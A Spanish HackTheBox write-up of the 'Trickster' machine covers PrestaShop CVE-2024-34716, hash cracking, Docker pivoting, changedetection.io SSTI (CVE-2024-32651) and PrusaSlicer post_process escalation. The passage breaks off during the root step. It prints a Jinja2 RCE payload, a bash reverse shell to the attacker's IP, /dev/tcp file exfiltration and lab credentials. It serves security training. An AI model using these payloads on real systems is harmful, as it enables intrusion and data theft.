the_open_door
café
ESEN

Trickster

HackTheBoxMediaLinux10.10.11.34

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#prestashop#git-dump#cve-2024-34716#cve-2024-32651#ssti#changedetection#docker-pivoting#cve-2023-47268#prusaslicer#credential-reuse#linux
TL;DR. Trickster es una máquina Linux de dificultad media con una cadena larga y muy "de la vida real". El sitio principal redirige a trickster.htb y un vhost shop.trickster.htb sirve una tienda PrestaShop con el directorio .git expuesto: lo volcamos, descubrimos la ruta del panel de administración y la versión 8.1.5, vulnerable a CVE-2024-34716 (XSS almacenado a RCE), que nos da shell como www-data. En parameters.php están las credenciales de MariaDB; volcamos los hashes de ps_employee, crackeamos el de james (alwaysandforever) y entramos por SSH. Desde ahí encontramos un contenedor Docker (172.17.0.2:5000) con changedetection.io v0.45.20; tras un reenvío de puertos reutilizamos la contraseña de james y explotamos CVE-2024-32651 (SSTI) para una shell como root dentro del contenedor. Sus backups esconden la contraseña de adam (adam_admin992). Por último, adam puede ejecutar PrusaSlicer por sudo sin contraseña: CVE-2023-47268 inyecta un comando vía post_process en un .3mf y nos da root.

Reconocimiento

Escaneo inicial

Un escaneo TCP completo deja solo dos puertos abiertos: 22 (SSH) y 80 (HTTP). El TTL del paquete de vuelta es 63 (cercano a 64, menos un salto de red), lo que apunta a Linux (indicio, no prueba).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.34 -oG scan

el escaneo completo de los 65535 puertos descubre solo el 22 y el 80, ambos con ttl 63

Discovered open port 80/tcp on 10.10.11.34
Discovered open port 22/tcp on 10.10.11.34
Completed SYN Stealth Scan at 14:09, 14.40s elapsed (65535 total ports)
Not shown: 65401 closed tcp ports (reset), 132 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Aquí el resto de puertos no sale filtered sino closed (reset): la máquina responde con un RST en vez de tragarse el paquete, que es el comportamiento de un host sin cortafuegos de por medio.

Los dos puertos se pasan al siguiente comando con extractPorts, que los lee del fichero del escaneo y los deja en el portapapeles:

extractPorts scan

extractPorts lee el fichero scan y devuelve IP Address 10.10.11.34 y Open ports 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.34
Open ports: 22,80

Ports copied to clipboard

Pedimos versión y scripts por defecto sobre ambos puertos.

nmap -p22,80 -sCV 10.10.11.34

el escaneo de versiones identifica OpenSSH 8.9p1 y Apache 2.4.52, y el http-title delata la redirección a trickster.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://trickster.htb/
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.9p1 y Apache 2.4.52 son los de Ubuntu 22.04 (jammy). Y el http-title trae el dato que desbloquea todo lo demás: Did not follow redirect to http://trickster.htb/. Ese mensaje significa que el servidor no responde por IP, sino que redirige a un nombre; sin ese nombre en /etc/hosts el navegador no resuelve nada y la máquina parece vacía.

sudo nano /etc/hosts

el /etc/hosts abierto en nano con la línea 10.10.11.34 trickster.htb añadida

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.34     trickster.htb

Con el nombre ya resuelto, whatweb interroga al servidor para saber qué hay detrás:

whatweb http://trickster.htb

whatweb sobre trickster.htb devuelve 403 Forbidden pero identifica Apache 2.4.52 sobre Ubuntu Linux

http://trickster.htb [403 Forbidden] Apache[2.4.52], Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.34], Title[403 Forbidden]

La petición devuelve un 403 Forbidden, pero las cabeceras ya confirman lo que decía el escaneo de versiones: Apache 2.4.52 sobre Ubuntu, sin ningún framework que se delate por firma.

El vhost shop.trickster.htb

Con el dominio resuelto, trickster.htb carga una web corporativa estática. No hay panel ni formularios, pero el menú superior tiene una entrada que sí lleva a algo dinámico: SHOP.

la portada de trickster.htb es una web corporativa estática cuyo menú incluye un enlace SHOP

Ese enlace apunta al subdominio shop.trickster.htb, que de entrada no resuelve, porque el DNS de nuestra máquina no sabe nada de él:

el navegador falla con Server Not Found al intentar abrir shop.trickster.htb

Hmm. We're having trouble finding that site.
We can't connect to the server at shop.trickster.htb.

La solución es la misma de antes, añadirlo al /etc/hosts. No hizo falta fuzzear vhosts: el propio sitio lo publicaba, que es siempre lo primero que conviene mirar antes de lanzar un diccionario de 20.000 nombres.

sudo nano /etc/hosts

el /etc/hosts con la línea 10.10.11.34 trickster.htb shop.trickster.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.34     trickster.htb shop.trickster.htb

shop.trickster.htb sirve una tienda PrestaShop con catálogo, carrito y formulario de acceso

A diferencia de la portada, la tienda es una aplicación completa: catálogo, carrito, Sign in, buscador. Está construida con PrestaShop (CMS de comercio electrónico en PHP), y ahí se concentra la superficie de ataque.

Shell como www-data

El directorio .git expuesto

Probando rutas habituales de fugas, shop.trickster.htb/.git/ responde con un listado de directorio: el repositorio Git de la tienda está servido bajo la raíz web. Eso filtra el código fuente completo y su historial.

Index of /.git en shop.trickster.htb: HEAD, config, objects, refs, logs accesibles por HTTP

Lo volcamos con git-dumper, que reconstruye el repositorio localmente descargando el índice y todos los blobs alcanzables.

python3 git_dumper.py http://shop.trickster.htb/.git/ /home/krmena/machines/trickster/content/git-dumper/shop

git_dumper.py recorre el .git recursivamente y va descargando HEAD, config, index, logs, refs y los hooks, todos con 200

[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://shop.trickster.htb/.gitignore [404]
[-] Fetching http://shop.trickster.htb/.git/logs/ [200]
[-] Fetching http://shop.trickster.htb/.git/index [200]
[-] Fetching http://shop.trickster.htb/.git/logs/HEAD [200]
[-] Fetching http://shop.trickster.htb/.git/hooks/commit-msg.sample [200]

El 404 del .gitignore es solo ruido de la herramienta, que lo prueba siempre. Lo importante es que index, logs/HEAD y el árbol de objetos responden con 200: el repositorio entero es descargable.

cd shop
git log

El historial revela dos datos clave. El autor del commit inicial es adam <adam@trickster.htb> (un nombre de usuario válido del sistema) y el mensaje es "update admin pannel".

git log: commit inicial de adam <adam@trickster.htb> con el mensaje update admin pannel

0000000000000000000000000000000000000000 0cbc7831c1104f1fb0948ba46f75f1666e18e64c adam <adam@trickster.htb> 1716538399 -0400    commit (initial): update admin pannel

El .git/logs/HEAD deja el commit inicial firmado por adam <adam@trickster.htb> con el mensaje update admin pannel.

PrestaShop renombra el panel de administración a un directorio con sufijo aleatorio (para dificultar su descubrimiento). La documentación del propio proyecto lo describe así: la carpeta de administración se crea durante la instalación con la palabra admin seguida de una cadena aleatoria, y hay que conocerla para entrar. Y ese nombre está entre los ficheros volcados:

ls

el listado del repositorio volcado muestra INSTALL.txt, index.php, init.php y un directorio admin634ewutrx1jgitlooaj

INSTALL.txt  Install_PrestaShop.html  LICENSES  Makefile  admin634ewutrx1jgitlooaj
autoload.php  error500.html  index.php  init.php

Aquí está el porqué de volcar el .git en lugar de mirar solo el navegador: el servidor web oculta ese directorio en la navegación normal, pero vive dentro de los blobs del repositorio. Entrando a shop.trickster.htb/admin634ewutrx1jgitlooaj/ aparece el login del back-office, y su cabecera revela la versión:

el panel de administración de PrestaShop en la ruta admin634ewutrx1jgitlooaj, con la versión 8.1.5 bajo el logo y el formulario de acceso Trickster Store

shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af

PrestaShop
  8.1.5
Trickster Store
  Email address / Password  ->  LOG IN

PrestaShop 8.1.5, escrito debajo del logo antes siquiera de autenticarse.

CVE-2024-34716: de XSS almacenado a RCE

Buscando vulnerabilidades para esa versión aparece el CVE que abre la máquina:

la ficha de CVE-2024-34716 describe el XSS en la funcionalidad customer-thread de PrestaShop 8.1.0 a 8.1.5

CVE-2024-34716: PrestaShop XSS Vulnerability
Disclosed on 24/05/2024

PrestaShop is an open source e-commerce web application ... it offers a customer-thread feature that
enables communication between customers and administrators. However, a vulnerability has been identified
in PrestaShop versions 8.1.0 to 8.1.5, where an attacker can exploit a cross-site scripting (XSS)
vulnerability through the customer-thread feature. This vulnerability allows the attacker to upload a
malicious file containing an XSS payload, which can be executed when an admin opens the attached file in
the back office. By injecting a script, the attacker can access the session and security token, granting
them the ability to perform any authenticated action within the administrator's scope of rights.

PrestaShop 8.1.5 es vulnerable a CVE-2024-34716, una cadena que combina un XSS almacenado en el módulo de atención al cliente con una falta de protección CSRF en el back-office. Un atacante anónimo envía un mensaje con un payload JavaScript; cuando un administrador lo abre en el panel, ese JavaScript (ya con la sesión del admin) crea un tema malicioso y sube un webshell. La salvedad importante: necesita que el admin abra el mensaje; en esta máquina un proceso automatizado hace ese papel.

Usamos el exploit público aelmokhtar/CVE-2024-34716:

el repositorio aelmokhtar/CVE-2024-34716 en GitHub con exploit.py, exploit.html, ps_next_8_theme_malicious_old.zip y reverse_shell_template.php

aelmokhtar / CVE-2024-34716
  README.md
  exploit.html
  exploit.py
  ps_next_8_theme_malicious_old.zip
  requirements.txt
  reverse_shell_template.php

Los nombres de los ficheros ya cuentan el ataque: un exploit.html con el XSS, un tema de PrestaShop manipulado (ps_next_8_theme_malicious_old.zip) y la plantilla de la reverse shell PHP que ese tema acaba dejando en el servidor. Recibe la URL de la tienda, el correo del administrador (el admin@trickster.htb que conocemos) y nuestra IP de escucha. Levanta un servidor HTTP que sirve el tema malicioso comprimido, envía el mensaje con el XSS y espera a que el "admin" lo abra.

python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.15.39

A los pocos segundos, el proceso simulado abre el mensaje, se sube el reverse_shell_new.php dentro del tema y recibimos la conexión: shell como www-data.

El exploit confirma la ruta admin634ewutrx1jgitlooaj, sirve el tema malicioso y devuelve shell www-data

[X] Starting exploit with:
        Url: http://shop.trickster.htb
        Email: admin@trickster.htb
        Local IP: 10.10.15.39
        Admin Path: admin634ewutrx1jgitlooaj
...
$ whoami
www-data

Shell como james

linpeas: mucho ruido y una pista

Lo primero desde la shell de www-data es enumerar el sistema. linpeas se sirve desde el atacante y se baja al /tmp de la víctima:

python3 -m http.server 80
wget http://10.10.15.39/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

el primer intento falla con syntax error near unexpected token porque el fichero descargado era la salida del http.server; tras volver a bajarlo con wget, linpeas.sh queda con sus 805 KB

./linpeas.sh: line 1: syntax error near unexpected token `('
./linpeas.sh: line 1: `Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... '
...
linpeas.sh          100%[===================>] 805.42K  1.58MB/s    in 0.5s
2024-10-13 22:29:27 (1.58 MB/s) - 'linpeas.sh' saved [824745/824745]

El primer fichero se bajó corrupto (contenía la propia salida del servidor HTTP en vez del script), de ahí el syntax error de la primera línea; se borra y se vuelve a descargar.

El informe no destapa ninguna escalada directa, pero sí una pieza que después resulta ser la clave:

la sección Software Information de linpeas lista /usr/bin/docker, /usr/sbin/runc, socat, nc y los compiladores gcc y g++ instalados

Useful software
/usr/bin/curl
/usr/bin/docker
/usr/bin/gcc
/usr/bin/nc
/usr/bin/php
/usr/bin/python3
/usr/sbin/runc
/usr/bin/socat

docker y runc instalados: hay contenedores en esta máquina, dato que se aprovecha mucho más adelante. El resto de hallazgos son callejones sin salida, y conviene enseñarlos porque forman parte del trabajo real:

linpeas señala /etc/mysql/mariadb.cnf y /etc/mysql/debian.cnf en la sección Analyzing MariaDB Files

Analyzing MariaDB Files (limit 70)
-rw-r--r-- 1 root root 1126 Dec  2  2023 /etc/mysql/mariadb.cnf
[client-server]
socket = /run/mysqld/mysqld.sock
-rw------- 1 root root  544 May 23 20:35 /etc/mysql/debian.cnf

El mariadb.cnf solo trae la configuración por defecto y el debian.cnf, que sí guardaría credenciales, es -rw------- de root: ilegible como www-data.

linpeas anuncia Possible private SSH keys were found y lista ficheros de traducción y caché de PrestaShop

Possible private SSH keys were found!
/var/www/prestashop/translations/en-US/AdminAdvparametersHelp.en-US.xlf
/var/www/prestashop/var/cache/prod/ContainerDjH7WXX/getAccessTokenControllerService.php
/var/www/prestashop/var/cache/prod/FrontContainer.php

Falso positivo de manual: son ficheros de traducción y de caché de PrestaShop que contienen la cadena BEGIN ... PRIVATE KEY dentro de textos o de plantillas, no claves utilizables.

Credenciales de MariaDB en parameters.php

Como toda instalación de PrestaShop, la configuración de la base de datos vive en /var/www/prestashop/app/config/parameters.php. Lo leemos desde la shell de www-data.

cat /var/www/prestashop/app/config/parameters.php

parameters.php con database_user ps_user y database_password prest@shop_o resaltados, junto al resto de la configuración de PrestaShop

'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',

La base de datos solo escucha en 127.0.0.1, pero estamos dentro del host, así que nos conectamos localmente con esas credenciales.

mariadb -u ps_user -p

la sesión de MariaDB 10.6.18 tras autenticarse: show tables falla con No database selected y show databases lista information_schema y prestashop

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 12412
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

MariaDB [(none)]> show tables;
ERROR 1046 (3D000): No database selected
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| prestashop         |
+--------------------+
2 rows in set (0.001 seconds)

MariaDB [(none)]> use prestashop;
Reading table information for completion of table and column names

Volcar y crackear los hashes de ps_employee

El primer sitio donde mirar son los clientes, aunque el nombre exacto de la tabla no es el que uno espera (ps_customers no existe, es ps_customer, en singular):

select * from ps_customers;
select * from ps_customer;

el error 1146 por ps_customers y, con ps_customer, tres filas con los hashes bcrypt de Anonymous, John DOE y adam@trickster.htb

ERROR 1146 (42S02): Table 'prestashop.ps_customers' doesn't exist

| firstname | lastname | email                | passwd                                                       |
| Anonymous | Anonymous| anonymous@psgdpr.com | $2y$10$054Mo38DcRSLaMX9OhT5UuhYSQvorGu8nZb9Gub...             |
| John      | DOE      | pub@prestashop.com   | $2y$10$Cw68h0u8YeP6IiYRRaOjQu4AV7X9BTQL3ZK4CtH...             |
| adam      | adam     | adam@trickster.htb   | $2y$10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3...             |
3 rows in set (0.001 sec)

Esos tres son clientes de la tienda, no empleados, y los dos primeros son cuentas de demostración de PrestaShop. La tabla que importa es otra: ps_employee guarda las cuentas del back-office con su contraseña hasheada. Volcamos sus dos filas: admin y james.

select id_employee, email, passwd from ps_employee;

La tabla ps_employee con los hashes bcrypt de admin@trickster.htb y james@trickster.htb

admin@trickster.htb  $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C
james@trickster.htb  $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm

Antes de lanzar nada conviene confirmar el algoritmo, en vez de darlo por supuesto:

un identificador de hashes en línea analiza el hash de james y devuelve como posibles algoritmos bcrypt $2*$ y Blowfish (Unix)

1 hashes were checked: 1 possibly identified 0 no identification

$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
  - Possible algorithms: bcrypt $2*$, Blowfish (Unix)

Ambos son bcrypt (modo 3200 de hashcat). El de james usa un cost bajo ($2a$04$), es decir 2^4 = 16 iteraciones frente a las 1024 del $2y$10$ del admin, así que es el único candidato realista para crackearlo con un diccionario.

sudo hashcat -m 3200 -a 0 -o found.txt jon.hashes /home/krmena/rockyoudir/rockyou.txt

hashcat 6.2.6 arranca en modo 3200 sobre la CPU, con rockyou.txt cargado y 14.344.373 contraseñas en cola

hashcat (v6.2.6) starting
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10500H CPU @ 2.50GHz, 2899/5863 MB (1024 MB allocatable), 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Dictionary cache hit:
* Filename..: /home/krmena/rockyoudir/rockyou.txt
* Passwords.: 14344373

El hash de james cae: la contraseña es alwaysandforever.

hashcat revela james ... :alwaysandforever

$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm:alwaysandforever

El --show de hashcat empareja el hash $2a$04$ de james con su contraseña en claro: alwaysandforever.

Como james es también un usuario del sistema, probamos esas credenciales por SSH y entran. La flag de usuario es legible desde su home.

su james        # contraseña: alwaysandforever
cd
cat user.txt

su james acepta la contraseña, el prompt cambia a james@trickster y el cat de user.txt devuelve la flag

www-data@trickster:/$ su james
Password:
james@trickster:/$ cd
james@trickster:~$ ls
user.txt
james@trickster:~$ cat user.txt
9054e3e05bd5187172db3d4b0d41e09c

La contraseña vale igual por SSH, que es más cómodo para lo que viene (hará falta un túnel):

ssh james@10.10.11.34

Shell en el contenedor (changedetection)

Descubrir el contenedor Docker

El docker que anunciaba linpeas se confirma mirando las interfaces de red:

ip a

ip a muestra eth0 con 10.10.11.34/23 y una interfaz docker0 con 172.17.0.1/16, más una veth de contenedor

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    link/ether 02:42:13:3b:09:9c
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
115: vethac7b829@if114: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master docker0 state UP

El puente docker0 en 172.17.0.1/16 y una veth colgando de él: hay al menos un contenedor levantado. Un barrido de ping por el rango del puente lo localiza:

for i in {1..255}; do $(ping -c 1 172.17.0.$i | grep "bytes from"|cut -d ' ' -f4 | tr -d ':' &); done

el barrido devuelve 172.17.0.1: command not found y 172.17.0.2: command not found, que son los dos hosts que respondieron

172.17.0.1: command not found
172.17.0.2: command not found

El command not found no es un error, es el truco: el $(...) hace que bash intente ejecutar lo que devuelve la tubería, así que solo las IP que contestaron al ping acaban impresas de esa forma. Aparte del propio puente (.1), hay un contenedor vivo en 172.17.0.2.

Sin nmap en la víctima, escaneamos sus puertos con el pseudo-dispositivo /dev/tcp de bash, que abre un socket por cada número probado:

nano enum.sh
chmod +x enum.sh
./enum.sh
#!/bin/bash
container_ip="172.17.0.2"
echo "[*] Checking open ports on containers IP: $container_ip"
for port in {1..65535}; do
 (echo > /dev/tcp/$container_ip/$port) > /dev/null 2>&1 && echo "
[+] Port: $port - opened !";
done

el script recorre los 65535 puertos del contenedor y solo reporta el 5000 abierto

[*] Checking open ports on containers IP: 172.17.0.2
[+] Port: 5000 - opened !

Un solo puerto, el 5000. Se comprueba a mano, con un puerto cerrado al lado para ver la diferencia:

echo > /dev/tcp/172.17.0.2/5000
echo > /dev/tcp/172.17.0.2/500

el redirect al 5000 no devuelve nada, mientras que el 500 responde Connection refused

james@trickster:~$ echo > /dev/tcp/172.17.0.2/5000
james@trickster:~$ echo > /dev/tcp/172.17.0.2/500
-bash: connect: Connection refused
-bash: /dev/tcp/172.17.0.2/500: Connection refused

El 5000 devuelve al prompt sin decir nada (conexión establecida) y el 500 rebota con Connection refused.

Ese puerto no es accesible desde nuestra máquina, así que aplicamos un reenvío de puertos sobre SSH para mapear el 5000 del contenedor a nuestro 5001 local.

ssh -L 127.0.0.1:5001:172.17.0.2:5000 james@trickster.htb

el ssh con el reenvío de puertos se autentica como james y deja la sesión abierta sosteniendo el túnel

# ssh -L 127.0.0.1:5001:172.17.0.2:5000 james@trickster.htb
james@trickster.htb's password:
Last login: Sun Oct 27 00:27:49 2024 from 127.0.0.1
james@trickster:~$

En http://127.0.0.1:5001 responde changedetection.io, una aplicación que vigila cambios en páginas web, protegida por una contraseña que al primer intento no acertamos:

la pantalla de login de changedetection.io en 127.0.0.1:5001 con el aviso rojo Incorrect password

CHANGEDETECTION.IO
  Incorrect password
  Password [ ............... ]  Login

La esquina, ya dentro, muestra la versión: v0.45.20.

changedetection.io en el contenedor, versión v0.45.20 visible en la esquina

changedetection.io   v0.45.20

La esquina del panel identifica la aplicación y su versión, changedetection.io v0.45.20, la pieza que delata el CVE.

CVE-2024-32651: SSTI en las notificaciones

El login de changedetection acepta la contraseña reutilizada de james, alwaysandforever (reutilización de credenciales). Una vez dentro, la versión 0.45.20 es vulnerable a CVE-2024-32651: el cuerpo de las notificaciones se renderiza con Jinja2 sin aislar, lo que permite una inyección de plantillas del lado del servidor (SSTI) que termina en RCE.

La ficha del CVE confirma el alcance:

la ficha de CVE-2024-32651 clasifica el SSTI de changedetection.io como CVSS 10.0 crítico, afectando a versiones anteriores a la 0.45.21

Server-Side Template Injection
Affecting changedetection.io package, versions [,0.45.21)
INTRODUCED: 26 APR 2024   CVE-2024-32651   CWE-1336
Severity: 10.0 CRITICAL

How to fix? Upgrade changedetection.io to version 0.45.21 or higher.

Affected versions of this package are vulnerable to Server-Side Template Injection due to improper
handling of template data. An attacker can execute arbitrary commands on the server by crafting
malicious input that exploits the template rendering process.

El aviso remata con dos notas que encajan con esta máquina: la explotación se reduce si hay contraseña en el panel (la había, pero la teníamos) y permite la toma completa del servidor, incluida una reverse shell.

Antes de pedir una shell, la prueba de concepto barata: un id. Se configura una URL a vigilar que apunte a nuestra máquina (post://10.10.15.39/4444/test) y, en el cuerpo de la notificación, la plantilla que ejecuta el comando. Send test notification la renderiza:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

la pestaña Notifications con la URL post://10.10.15.39/4444/test, el cuerpo con el payload que ejecuta id y el diálogo OK - Sent test notifications

Notification URL List : post://10.10.15.39/4444/test
Notification Body     : {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
[Send test notification]  ->  OK - Sent test notifications

Confirmado que la plantilla se ejecuta, se cambia el comando por la reverse shell. Mantenemos nc a la escucha:

nc -nlvp 443

el mismo formulario con el cuerpo cambiado por la reverse shell hacia /dev/tcp/10.10.15.39/443 y el aviso OK - Sent test notifications

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.15.39/443 0>&1"').read() }}

El listener recibe la conexión.

el listener en el 443 recibe la conexión desde 10.10.11.34 y el prompt pasa a root@a4b9a36ae7ff:/app

# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.34] 45108
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a4b9a36ae7ff:/app#

El hostname a4b9a36ae7ff es el identificador corto del contenedor, la confirmación de que estamos dentro del Docker y no en el host. La aplicación corre como root dentro del contenedor, así que caemos directamente como uid=0(root) en ese entorno aislado (no es root en el host).

El listener recibe la shell del contenedor: uid=0(root) gid=0(root) groups=0(root)

uid=0(root) gid=0(root) groups=0(root)

Shell como adam

Credenciales en los backups de changedetection

Dentro del contenedor, el directorio de datos de changedetection guarda copias de seguridad exportables:

ls
cd datastore
ls
cd Backups
ls

el listado de /datastore muestra Backups, secret.txt, url-list.txt y url-watches.json, y dentro de Backups dos ficheros changedetection-backup con fecha de agosto de 2024

root@a4b9a36ae7ff:/# ls
app  bin  boot  datastore  dev  etc  home  lib  ...

root@a4b9a36ae7ff:/datastore# ls
627d4ea8-5b85-4240-a694-82d00648af2d   secret.txt
b86f1003-3ecb-4125-b090-27e15ca605b9   url-list-with-tags.txt
bbdd78f6-db98-45eb-9e7b-681a0c60ea34   url-list.txt
Backups                                url-watches.json
changedetection-backup-20241027010852.zip

root@a4b9a36ae7ff:/datastore/Backups# ls
changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zip

Los dos ZIP de agosto son los interesantes (el de octubre lo genera el propio laboratorio al arrancar). Los exfiltramos al equipo atacante con /dev/tcp, ya que no hay scp cómodo desde el contenedor.

# en el contenedor
cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.15.39/4445
# en nuestra máquina
nc -lnvp 4445 > changedetection-backup-20240830194841.zip

Al descomprimir los ZIP aparecen ficheros .txt.br:

unzip changedetection-backup-20240830202524.zip

el unzip del backup de las 20:25 extrae url-watches.json, secret.txt, dos directorios con history.txt y varios ficheros .txt.br

Archive:  changedetection-backup-20240830202524.zip
  inflating: url-watches.json
  inflating: secret.txt
  inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/history.txt
  inflating: b86f1003-3ecb-4125-b090-27e15ca605b9/dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
  inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/history.txt
  inflating: bbdd78f6-db98-45eb-9e7b-681a0c60ea34/ba1fe8fcfb743ba16a136d805c38328f.txt.br
unzip changedetection-backup-20240830194841.zip

el unzip del backup de las 19:48 crea el directorio b4a8b52d-651b-44bc-bbc6-f9e8c6590103 con su propio .txt.br

Archive:  changedetection-backup-20240830194841.zip
   creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
  extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
  extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt

el ls del directorio de trabajo muestra los tres directorios UUID extraídos junto a los dos zip

b4a8b52d-651b-44bc-bbc6-f9e8c6590103  bbdd78f6-db98-45eb-9e7b-681a0c60ea34
b86f1003-3ecb-4125-b090-27e15ca605b9  changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zip  found.txt

Cada directorio es una página vigilada, y dentro está el contenido capturado:

dentro de b4a8b52d-651b-44bc-bbc6-f9e8c6590103 hay un f04f0732f120c0cc84a993ad99decb2c.txt.br y un history.txt

# cd b4a8b52d-651b-44bc-bbc6-f9e8c6590103
# ls
f04f0732f120c0cc84a993ad99decb2c.txt.br  history.txt

La extensión .br es Brotli, el algoritmo de compresión de Google que changedetection usa para guardar las instantáneas. Hace falta la herramienta:

sudo apt install -y brotli

apt instala el paquete brotli en el equipo atacante

The following packages were automatically installed and are no longer required:
  fonts-liberation2  libcephfs2  libgfapi0  libibverbs1  libplacebo
  freerdp2-x11       libdaxctl1  libgfrpc0  libimobiledevice6  liblist3
  hydra-gtk          libfreerdp-client2-t64  libgfxdr0  libiniparser1  libgmem1
  ...
Use 'sudo apt autoremove' to remove them.
brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
cat f04f0732f120c0cc84a993ad99decb2c.txt

el brotli -d descomprime el fichero y el cat muestra su contenido

Lo que changedetection estaba vigilando era, precisamente, un parameters.php. Y esa copia no es la de ps_user, sino una anterior:

el parameters.php recuperado del backup, con database_user adam y database_password adam_admin992 resaltados

'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'adam',
'database_password' => 'adam_admin992',
'database_prefix' => 'ps_',

Ahí está la contraseña de adam: adam_admin992.

Probamos esa contraseña con su adam en el host (donde adam sí es un usuario real) y cambiamos de usuario.

su adam     # contraseña: adam_admin992

su adam acepta la contraseña: pasamos a adam@trickster

james@trickster:~$ su adam
Password:
adam@trickster:/home/james$

su adam con adam_admin992 cambia el prompt a adam@trickster: la contraseña de la base de datos estaba reutilizada como la del usuario del sistema.

Shell como root

sudo sobre PrusaSlicer

Lo primero como adam es revisar qué puede ejecutar con sudo.

sudo -l

sudo -l: adam puede ejecutar /opt/PrusaSlicer/prusaslicer como cualquier usuario sin contraseña

User adam may run the following commands on trickster:
    (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer

PrusaSlicer es un slicer de impresión 3D: convierte un modelo (.stl, .obj, .3mf) en las instrucciones G-code que entiende una impresora. Poder ejecutarlo como root sin contraseña es la puerta a la escalada, pero primero hay que saber qué versión es. El /tmp de la máquina guarda un G-code ya generado por el usuario james, y las cabeceras de un G-code declaran quién lo produjo:

cat Cuerpo1.gcode | head -n 1

la primera línea del G-code declara: generated by PrusaSlicer 2.6.1+linux-x64-GTK2 on 2024-10-27

; generated by PrusaSlicer 2.6.1+linux-x64-GTK2 on 2024-10-27 at 00:22:34 UTC

PrusaSlicer 2.6.1, y de paso la confirmación de que alguien procesa ficheros .3mf en esta máquina.

CVE-2023-47268: inyección por post_process

La versión instalada es vulnerable a CVE-2023-47268: PrusaSlicer ejecuta el script definido en la directiva post_process después del slicing. Esa directiva vive dentro del fichero Metadata/Slic3r_PE.config de un proyecto .3mf (un ZIP con el modelo y su configuración). Como el .3mf lo aportamos nosotros, también aportamos el post_process; y como PrusaSlicer se ejecuta como root, el comando corre como root.

Creamos un objeto 3D con la propia interfaz de PrusaSlicer (la instalamos en una máquina aparte) y, en la pestaña de Output options &rarr; Post-processing scripts, indicamos el comando que prepara la escalada (hacer SUID una shell). Exportamos el proyecto como .3mf.

La interfaz de PrusaSlicer con la pestaña de post-processing scripts donde se inyecta el comando

El objeto en sí da igual, solo tiene que existir para que haya algo que rebanar:

el objeto 3D creado en PrusaSlicer: una rejilla de cubos verdes sobre la plataforma de impresión

